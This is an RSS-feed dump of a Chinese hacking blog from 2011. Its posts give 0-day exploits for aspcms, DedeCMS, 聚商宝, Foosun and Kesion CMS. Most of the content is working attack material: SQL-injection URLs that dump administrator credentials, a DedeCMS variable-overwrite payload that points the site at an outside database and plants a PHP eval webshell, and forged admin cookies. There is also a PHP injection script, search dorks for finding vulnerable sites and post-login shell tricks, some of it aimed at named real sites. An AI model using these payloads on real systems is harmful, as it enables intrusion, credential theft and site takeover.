<div sizset="101" sizcache="5">下载：<a target="_blank" href="http://down.chinaz.com/soft/29759.htm"><font color="#015bab">http://down.chinaz.com/soft/29759.htm</font></a></div>
<div>程序:aspcms2.1.4 GBK版</div>
<div>其他版本详细测试，貌似是只存在这个版本</div>
<div>admin/_content/_About/AspCms_AboutEdit.asp</div>
<div>未验证权限，且存在注入漏洞</div>
<div>利用EXP：</div>
<p>admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1</p>
<div>&nbsp;</div>
<div>如图</div>
<div><a href="http://www.st999.cn/blog/attachment.php?id=504" target="_blank"><img src="http://www.st999.cn/blog/attachments/date_201108/thumb_cf6f9aa6858589b0d2bebf1a6bfe8486.jpg" border="0" alt="大小: 44 K&#13;尺寸: 349 x 500&#13;浏览: 6 次&#13;点击打开新窗口浏览全图" width="349" height="500" /></a></div>
<div>
<div>刚刚google了下，貌似在网上测试没成功。。。</div>
<div>&nbsp;</div>
<div>我没时间就不测试了，反正搞到了目标站就OK。</div>
</div>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=469</link>
			<category domain="http://www.st999.cn/blog/?cid=3">原创笔记</category>
			<pubDate>2011-08-18 15:56</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=468</guid>
			<title>aspcms企业建站系统0day 2.0以上通杀</title>
			<author>admin</author>
			<description><![CDATA[<table cellspacing="0" cellpadding="0">
    <tbody>
        <tr>
            <td class="t_f" id="postmessage_46019">aspcms开发的全新内核的开源企业建站系统，能够胜任企业多种建站需求，并且支持模版自定义、支持扩展插件等等，能够在短时间内完成企业建站。<br />
            <br />
            <br />
            <br />
            漏洞出现在<br />
            <br />
            /plug/productbuy.asp<br />
            <br />
            对接收的参数id没有进行过滤而导致的注入漏洞<br />
            <br />
            注入后的页面有跳转，所以要快，建议用快捷键复制<br />
            <br />
            爆用户名<br />
            /plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1<br />
            <br />
            这是爆ID=1的账户名，如果发现权限不够可以往后试2,3,4...........<br />
            <br />
            <br />
            <br />
            爆密码<br />
            /plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1<br />
            <br />
            <br />
            <br />
            后台登录地址：/admin/login.asp<br />
            <br />
            <br />
            <br />
            后台拿shell<br />
            <br />
            1、直接上传.asp;x<br />
            <br />
            2、系统配置信息<br />
            <br />
            3、模版管理新建1.asp模板，内容写马的内容.<br />
            <br />
            <br />
            <br />
            搜索关键词：搜索关键词：intitle:Powered by AspCms2<br />
            <br />
            <br />
            <br />
            <br />
            <br />
            修复方法就不提了。你懂的<br />
            <br />
            <br />
            <br />
            转载请注明出处：绝色丶缘灭'blog&nbsp; &nbsp;<br />
            <br />
            <a href="http://hi.baidu.com/hackxx00/blog/item/5ca432c335fc7a27f8dc619f.html" target="_blank">http://hi.baidu.com/hackxx00/blo ... fc7a27f8dc619f.html</a></td>
        </tr>
    </tbody>
</table>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=468</link>
			<category domain="http://www.st999.cn/blog/?cid=16">漏洞分析</category>
			<pubDate>2011-08-14 12:28</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=467</guid>
			<title>DEDECMS爆严重安全漏洞 免账号密码直接进入后台</title>
			<author>admin</author>
			<description><![CDATA[<p>众所周知，因使用简单、客户群多，织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息：&ldquo;DEDECMS爆严重安全漏洞，近期官方会发布相关补丁，望大家及时关注补丁动态。&rdquo;<br />
<br />
入侵步骤如下：<a href="http://www.xx.com/" target="_blank">http://www.xx.com/</a>织梦网站后台/login.php?dopost=login&amp;validate=<font color="#ff0000">dcug</font>&amp;userid=admin&amp;pwd=inimda&amp;_POST[GLOBALS][cfg_dbhost]=116.255.183.90&amp;_POST[GLOBALS][cfg_dbuser]=root&amp;_POST[GLOBALS][cfg_dbpwd]=r0t0&amp;_POST[GLOBALS][cfg_dbname]=root<br />
把上面红色字母改为当前的验证码，即可直接进入网站后台。<br />
<br />
小编分析了一下，此漏洞的前提是必须得到后台路径才能实现，因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法：<br />
<br />
解决办法：<br />
找到include/common.inc.php文件，把<br />
foreach($_REQUEST as $_k=&gt;$_v)<br />
{<br />
var_dump($_k);<br />
if( strlen($_k)&gt;0 &amp;&amp; preg_match(&lsquo;#^(cfg_|GLOBALS)#&rsquo;,$_k) )<br />
{<br />
exit(&lsquo;Request var not allow!&rsquo;);<br />
}<br />
}<br />
<br />
换成<br />
<br />
//检查和注册外部提交的变量<br />
function CheckRequest(&amp;$val) {<br />
if (is_array($val)) {<br />
foreach ($val as $_k=&gt;$_v) {<br />
CheckRequest($_k);<br />
CheckRequest($val[$_k]);<br />
}<br />
} else<br />
{<br />
if( strlen($val)&gt;0 &amp;&amp; preg_match(&lsquo;#^(cfg_|GLOBALS)#&rsquo;,$val) )<br />
{<br />
exit(&lsquo;Request var not allow!&rsquo;);<br />
}<br />
}<br />
}<br />
CheckRequest($_REQUEST);</p>
<p>===============================================================</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>By：jannock<br />
<br />
&nbsp; &nbsp; 漏洞细节已经传遍了（<a href="http://www.t00ls.net/thread-17354-1-1.html" target="_blank">http://www.t00ls.net/thread-17354-1-1.html</a>，<a href="http://lcx.cc/?FoxNews=1681.html" target="_blank">http://lcx.cc/?FoxNews=1681.html</a>），又没得玩了。<br />
<br />
&nbsp; &nbsp; 网传的都是说要知道后台才能利用，但不用，只要 plus 目录存在，服务器能外连，就能拿shell。<br />
<br />
&nbsp; &nbsp; 前题条件，必须准备好自己的dede数据库，然后插入数据：<br />
<br />
以下是引用片段：<br />
<br />
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(&quot;1.php&quot;, \'a\');@fwrite($fp, \'&lt;?php eval($_POST[c]) ?&gt;\');echo &quot;OK&quot;;@fclose($fp);{/dede:php}');<br />
<br />
&nbsp; &nbsp; 再用下面表单提交，shell 就在同目录下&nbsp;&nbsp;1.php。原理自己研究。。。<br />
<br />
以下是引用片段：<br />
<br />
&lt;form action=&quot;&quot; method=&quot;post&quot; name=&quot;QuickSearch&quot; id=&quot;QuickSearch&quot; onsubmit=&quot;addaction();&quot;&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;http://localhost:8080/plus/mytag_js.php?aid=1&quot; name=&quot;doaction&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;dbhost&quot; name=&quot;_COOKIE[GLOBALS][cfg_dbhost]&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;dbuser&quot; name=&quot;_COOKIE[GLOBALS][cfg_dbuser]&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;dbpwd&quot; name=&quot;_COOKIE[GLOBALS][cfg_dbpwd]&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;dbname&quot; name=&quot;_COOKIE[GLOBALS][cfg_dbname]&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;dede_&quot; name=&quot;_COOKIE[GLOBALS][cfg_dbprefix]&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt;<br />
&lt;input type=&quot;text&quot; value=&quot;true&quot; name=&quot;nocache&quot; style=&quot;width:400&quot;&gt;<br />
&lt;input type=&quot;submit&quot; value=&quot;提交&quot; name=&quot;QuickSearchBtn&quot;&gt;&lt;br /&gt;<br />
&lt;/form&gt;<br />
&lt;script&gt;<br />
function addaction()<br />
{<br />
document.QuickSearch.action=document.QuickSearch.doaction.value;<br />
}<br />
&lt;/script&gt;<br />
<br />
從核攻擊哪裡搞過來的。</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=467</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-08-11 20:10</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=465</guid>
			<title>聚商宝2.0漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>FROM <a href="http://www.st999.cn/blog">http://www.st999.cn/blog</a> BY 久久久电脑</p>
<p>程序：聚商宝2.0</p>
<p>下载：<a href="http://down.chinaz.com/soft/21754.htm">http://down.chinaz.com/soft/21754.htm</a></p>
<p>google关键字：intext:技术支持:奔明科技 聚商宝</p>
<p>前几天搞站的时候遇到了个程序叫聚商宝，把源码下载过来了，今天才有时间简单的看了看。。。</p>
<p>漏洞：暴库以及后台cookies欺骗</p>
<p>1)直接访问conn/conn.asp 暴出数据库地址，下载，解密，登录后台</p>
<p>2)cookies欺骗，admin文件夹下check.asp文件中的代码片段：</p>
<p>dim uid,upwd<br />
uid=Replace_Text(Request.Form(&quot;userid&quot;))<br />
upwd=md5(Replace_Text(Request.Form(&quot;password&quot;)),16)<br />
Verifycode=Replace_Text(request.Form(&quot;verifycode&quot;))<br />
&nbsp;<br />
&nbsp;if not isnumeric(Verifycode) then<br />
&nbsp;Call Logerr()<br />
&nbsp;Call&nbsp; ErroFy()<br />
&nbsp;end if</p>
<p><br />
if Cint(Verifycode)&lt;&gt;Session(&quot;SafeCode&quot;) then<br />
&nbsp;Call&nbsp; ErroFy()<br />
&nbsp;Sub ErroFy()<br />
&nbsp;&nbsp;response.write&quot;&lt;table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TR&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TH class=tableHeaderText colSpan=2 height=25&gt;出现错误提示&lt;/TH&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TR&gt;&lt;tr&gt;&lt;td height=85 valign=top class=forumRow&gt;&lt;div align=center&gt;&lt;br&gt;&lt;br&gt;验证码错误！&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;tr align=center&gt;&lt;td height=30 class=forumRowHighlight&gt;&lt;a href='login.asp'&gt;&amp;lt;&amp;lt; 返回上一页&lt;/a&gt;&lt;/td&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;/tr&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;/table&gt;&quot;<br />
&nbsp;&nbsp;Response.End()<br />
&nbsp;End Sub<br />
else</p>
<p>&nbsp;Set rs=server.createobject(&quot;adodb.recordset&quot;)<br />
&nbsp;sqltext=&quot;select * from benming_master where Username='&quot; &amp; uid &amp; &quot;' and [PassWord]='&quot; &amp; upwd &amp; &quot;'&quot;<br />
&nbsp;rs.open sqltext,conn,1,1<br />
&nbsp;If Rs.Eof And Rs.Bof Then</p>
<p>&nbsp;&nbsp;response.write&quot;&lt;table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TR&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TH class=tableHeaderText colSpan=2 height=25&gt;出现错误提示&lt;/TH&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TR&gt;&lt;tr&gt;&lt;td height=85 valign=top class=forumRow&gt;&lt;div align=center&gt;&lt;br&gt;&lt;br&gt;登陆名或密码不正确！&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;tr align=center&gt;&lt;td height=30 class=forumRowHighlight&gt;&lt;a href='login.asp'&gt;&amp;lt;&amp;lt; 返回上一页&lt;/a&gt;&lt;/td&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;/tr&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;/table&gt;&quot; <br />
&nbsp;&nbsp;<br />
&nbsp;else<br />
<font color="#ff0000">&nbsp;&nbsp; &nbsp;&nbsp;Response.Cookies(&quot;globalecmaster&quot;)=rs(&quot;username&quot;)<br />
&nbsp;&nbsp; &nbsp;&nbsp;Response.Cookies(&quot;masterflag&quot;)=rs(&quot;flag&quot;)<br />
&nbsp;&nbsp; &nbsp;&nbsp;Response.Cookies(&quot;adminid&quot;)=rs(&quot;id&quot;)<br />
</font>&nbsp;&nbsp; &nbsp;&nbsp;LastLogin=Date()<br />
&nbsp;&nbsp;LastLoginIP=getIP()<br />
&nbsp;&nbsp;sql=&quot;update benming_master set LastLogin='&quot;&amp;LastLogin&amp;&quot;',LastLoginIP='&quot;&amp;LastLoginIP&amp;&quot;' where username='&quot;&amp;uid&amp;&quot;'&quot;<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp; &nbsp;&nbsp;conn.execute(sql)<br />
&nbsp;&nbsp;response.write&quot;&lt;table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TR&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TH class=tableHeaderText colSpan=2 height=25&gt;登陆成功提示&lt;/TH&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;TR&gt;&lt;tr&gt;&lt;td height=85 valign=top class=forumRow&gt;&lt;div align=center&gt;&lt;br&gt;&lt;br&gt;成功通过网站后台管理员身份认证！&lt;br&gt;&lt;br&gt;2秒后自动进入后台...&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;tr align=center&gt;&lt;td height=30 class=forumRowHighlight&gt;&lt;a href='index.asp'&gt;进入后台管理&lt;/a&gt;&lt;/td&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;/tr&gt;&quot;<br />
&nbsp;&nbsp;response.write&quot;&lt;/table&gt;&quot;<br />
%&gt;<br />
&lt;meta HTTP-EQUIV=refresh Content='2;url=index.asp'&gt;<br />
&lt;%<br />
&nbsp;end if<br />
&nbsp;rs.close<br />
&nbsp;set rs=nothing<br />
end if</p>
<p>&nbsp;</p>
<p>利用方法：用啊D直接访问后台，修改如下cookie，然后访问admin/index.asp登录。</p>
<p>globalecmaster=admin; masterflag=01%2C%2002%2C%2003%2C%2004%</p>
<p>2C%2005%2C%2006%2C%2007%2C%2008%2C%2009%2C%20010; adminid=1</p>
<p>&nbsp;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=465</link>
			<category domain="http://www.st999.cn/blog/?cid=3">原创笔记</category>
			<pubDate>2011-08-10 00:40</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=464</guid>
			<title>foosun 0day 最新注入漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>风讯foosun的注册文件存在漏洞。黑客们可以暴管理员帐号和密码。<br />
<br />
漏洞文件：<a href="http://www.xxx.com/user/SetNextOptions.asp" target="_blank">www.xxx.com/user/SetNextOptions.asp</a><br />
利用简单的方法：<br />
<br />
暴管理员帐号：<br />
<a href="http://www.xxx.com/user/SetNextOptions.asp?sType=1&amp;EquValue=aaaa&amp;SelectName=aaa&amp;ReqSql=select+1">http://www.xxx.com/user/SetNextOptions.asp?sType=1&amp;EquValue=aaaa&amp;SelectName=aaa&amp;ReqSql=select+1</a>,admin_name,3,4,5,6,7,8++from+FS_MF_Admin<br />
暴管理员密码：<br />
<a href="http://www.xxx.com/user/SetNextOptions.asp?sType=1&amp;EquValue=aaaa&amp;SelectName=aaa&amp;ReqSql=select+1">http://www.xxx.com/user/SetNextOptions.asp?sType=1&amp;EquValue=aaaa&amp;SelectName=aaa&amp;ReqSql=select+1</a>,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin<br />
<br />
如果得不到密码黑阔们也可以考虑 update 。。。很邪恶喔。。哈</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=464</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-08-07 08:20</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=463</guid>
			<title>科讯kesion 6.x - 7.06 继续利用</title>
			<author>admin</author>
			<description><![CDATA[<p>今天跟某黑阔搞一edu，很悲催的站长，前段时间才装的科讯6.5，现在直接被爆菊花。。。</p>
<p>t00ls的大牛只提供了利用方法，我爆了md5，可是解不出&middot;&middot;&middot;mssql版的科讯，运气好的能备份shell呢，不能放弃鸟。于是，就着网上的一篇分析文，写了段php，本地搭建php+apache后，直接丢工具就可以跑了。<a href="http://www.t00ls.net">www.t00ls.net</a>( {! }! ~/ G, m&quot; T) y0 ?<br />
T00LS! h1 P: X4 D# X0 H% C5 b<br />
&lt;?phpSecurity: r$ D&nbsp; M$ `4 k3 Y% W$ u<br />
/*<br />
$str = &quot;' union Select top 10 AdminID,UserName&amp;chr(124)&amp;PassWord From KS_Admin&quot;;<br />
for ($i=0; $i&lt;=strlen($str); $i++){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $temp .= &quot;%25&quot;.base_convert(ord($str[$i]),10,16);0 H# m) ^4 @7 {- K, v<br />
}<br />
echo $temp.&quot;0&quot;; - 低调求发展- g8 W1 J9 T7 X8 w3 c&quot; V- ]8 W&nbsp; N. _<br />
*/Security' b7 k, A6 b( I7 w; P&quot; O' M<br />
// <a href="http://www.edu.cn/user/reg/regajax.asp?action=getcityoption&amp;province=%2566%2527%2520%256F%2572%2520%2531%253D%2531%25006">http://www.edu.cn/user/reg/regajax.asp?action=getcityoption&amp;province=%2566%2527%2520%256F%2572%2520%2531%253D%2531%25006</a> Z# G' \( ?6 L; I+ }3 }<br />
// 所有信息Security' \2 b6 z5 x. q; t# d: f<br />
$id = $_GET['id'];<br />
$url = &quot;<a href="http://www.edu.cn/user/reg/regajax.asp?action=getcityoption&amp;province=&quot;;T00LS1">http://www.edu.cn/user/reg/regajax.asp?action=getcityoption&amp;province=&quot;;T00LS1</a> P# D0 M3 b( @) s+ N<br />
$param = &quot;f' or 1=1 and 1=&quot;.$id; // ?id=1<br />
for ($i = 0; $i &lt; strlen($param); $i ++)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $temp .= &quot;%25&quot;.base_convert(ord($param[$i]),10,16);www.t00ls.net0 G. d* z8 [5 m&amp; R5 T0 }<br />
}<br />
$url = $url.$temp.&quot;%2500&quot;;<br />
//echo $url;<br />
//echo file_get_contents($url);</p>
<p>echo GetSources($url);: Y) _4 x+ i9 D6 F7 }: K<br />
Security% d: T) e; e&amp; ^4 K6 M<br />
function GetSources($Url,$User_Agent='',$Referer_Url='') //抓取某个指定的页面<br />
{<br />
//$Url 需要抓取的页面地址 - 低调求发展6 s' Y, I&nbsp; H&nbsp; x; A% h&nbsp; F) ]<br />
//$User_Agent 需要返回的user_agent信息 如&ldquo;baiduspider&rdquo;或&ldquo;googlebot&rdquo;<br />
$ch = curl_init();<br />
curl_setopt ($ch, CURLOPT_URL, $Url);<br />
curl_setopt ($ch, CURLOPT_USERAGENT, $User_Agent); - 低调求发展# d: q+ d5 H/ s: [, z<br />
curl_setopt ($ch, CURLOPT_REFERER, $Referer_Url); - 低调求发展; x/ u8 B9 y/ d* Q( _<br />
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); - 低调求发展' z# Z2 M7 d0 c! U* j. R<br />
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);www.t00ls.net6 b+ g) W' b% H4 ]. _' I<br />
$MySources = curl_exec ($ch);T00LS5 g$ m- ^6 D9 `/ L! M<br />
curl_close($ch);<br />
return $MySources;<br />
} -<br />
?&gt;</p>
<p><a href="http://www.st999.cn/blog/attachment.php?id=503" target="_blank"><img src="http://www.st999.cn/blog/attachments//date_201107/9ce38e305ca4c3f09abf200ca7640115.jpg" border="0" alt="大小: 54.39 K&#13;尺寸: 457 x 432&#13;浏览: 2 次&#13;点击打开新窗口浏览全图" width="457" height="432" /></a></p>
<p>自己看着修改就是了。<br />
- 低调求发展* H$ H6 s% z/ U- u&quot; n3 y<br />
这里还有一个问题，php 的file_get_contents不能获取505错误的具体信息，所以不能报错注射，只能盲注，希望大牛能指点一下&middot;&middot;&middot;Security# ]6 I* j2 C$ G5 \, o! W<br />
! w9 Q- J: i: K' e! ]+ z1 ?<br />
解决了&middot;&middot;&middot;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=463</link>
			<category domain="http://www.st999.cn/blog/?cid=13">精巧工具</category>
			<pubDate>2011-07-30 18:26</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=462</guid>
			<title>科讯kesion 6.x - 7.06 第二枚注射漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>作者:goingta<br />
网站:www.zzfhw.com</p>
<p>哎 那个心酸啊</p>
<p>还是自己找一个吧<br />
希望没有闲言闲语</p>
<p>报告官方只是觉得人家做这么大怎么样都会有面子问题</p>
<p>要是xx非主流去给挂个黑页比较难为情</p>
<p>不解释了 。。。。</p>
<p>因为第一枚在user目录下面 很容易被一些网站把这个目录给删除了</p>
<p>刚好朋友今天遇到一个没有第一枚那个文件了 <br />
于是发出来给大家玩玩</p>
<p>发另一个地方的，不多说，上代码<br />
<a href="http://www.zzfhw.com/plus/Ajaxs.asp?action=GetRelativeItem&amp;Key=goingta%2525%2527%2529%2520%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%25201,2,username%252B%2527%257C%2527%252Bpassword%20from%20KS_Admin%2500">http://www.zzfhw.com/plus/Ajaxs.asp?action=GetRelativeItem&amp;Key=goingta%2525%2527%2529%2520%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%25201,2,username%252B%2527%257C%2527%252Bpassword%20from%20KS_Admin%2500</a></p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=462</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-07-29 00:33</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=461</guid>
			<title>科讯 6.x - 7.06 SQL 注射漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>作者：goingta <a href="http://www.t00ls.net">www.t00ls.net</a><br />
网站：<a href="http://www.zzfhw.com">http://www.zzfhw.com</a><br />
某日逛t00ls.net的时候 看到论坛图片随机显示哪里有一张 标题为 科讯 6.x - 7.06 SQL 注射漏洞 - 低调求发展</p>
<p>点进去看&nbsp; 原来核心会员们又在xxoo</p>
<p>我没权限看 自然是看不了了<br />
仔细看下图片 - 低调求发展</p>
<p>暴露了存在漏洞的文件名<br />
于是自己也下一套下来看了下</p>
<p>刚学asp 不是很精通<br />
后来还是成功爆出账户密码<br />
拿去官方测试，也还存在<br />
漏洞通知官方，已补。<br />
不敢私藏，分享一下<br />
非主流黑客别用来修改人家主页啊，没得前途<br />
<a href="http://www.zzfhw.com/user/reg/regajax.asp?action=getcityoption&amp;province=goingta%2527%2520union%2520%2573%2565%256C%2565%2563%2574%25201,username%252B%2527%257C%2527%252Bpassword%2520from%2520KS_Admin%2500">http://www.zzfhw.com/user/reg/regajax.asp?action=getcityoption&amp;province=goingta%2527%2520union%2520%2573%2565%256C%2565%2563%2574%25201,username%252B%2527%257C%2527%252Bpassword%2520from%2520KS_Admin%2500</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>============================================================================</p>
<p>&nbsp;</p>
<p>author:my5t3rywww.t00ls.net! B6 F$ d9 r1 U! s0 H&nbsp; x&nbsp; a; |<br />
转载请注明：t00ls.net<br />
漏洞位于注册页面的\User\Reg\RegAjax.asp 中的24 - 46行 和 254 -270 行 代码如下：01&nbsp;Class Ajax_Check <br />
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private KS <br />
03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private Sub Class_Initialize() <br />
04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set KS=New PublicCls <br />
05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private Sub Class_Terminate() <br />
07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set KS=Nothing<br />
08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Public Sub Kesion() <br />
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case KS.S(&quot;Action&quot;) <br />
12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;checkusername&quot;<br />
13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call CheckUserName() <br />
14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;checkemail&quot;<br />
15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call CheckEmail() <br />
16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;checkcode&quot;<br />
17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call CheckCode() <br />
18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;getregform&quot;<br />
19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call GetRegForm() <br />
20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;getcityoption&quot;<br />
21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call getCityOption() <br />
22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select<br />
23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
24&nbsp;&nbsp; <br />
25&nbsp;&hellip;&hellip;略去无关代码 <br />
26&nbsp;&nbsp; <br />
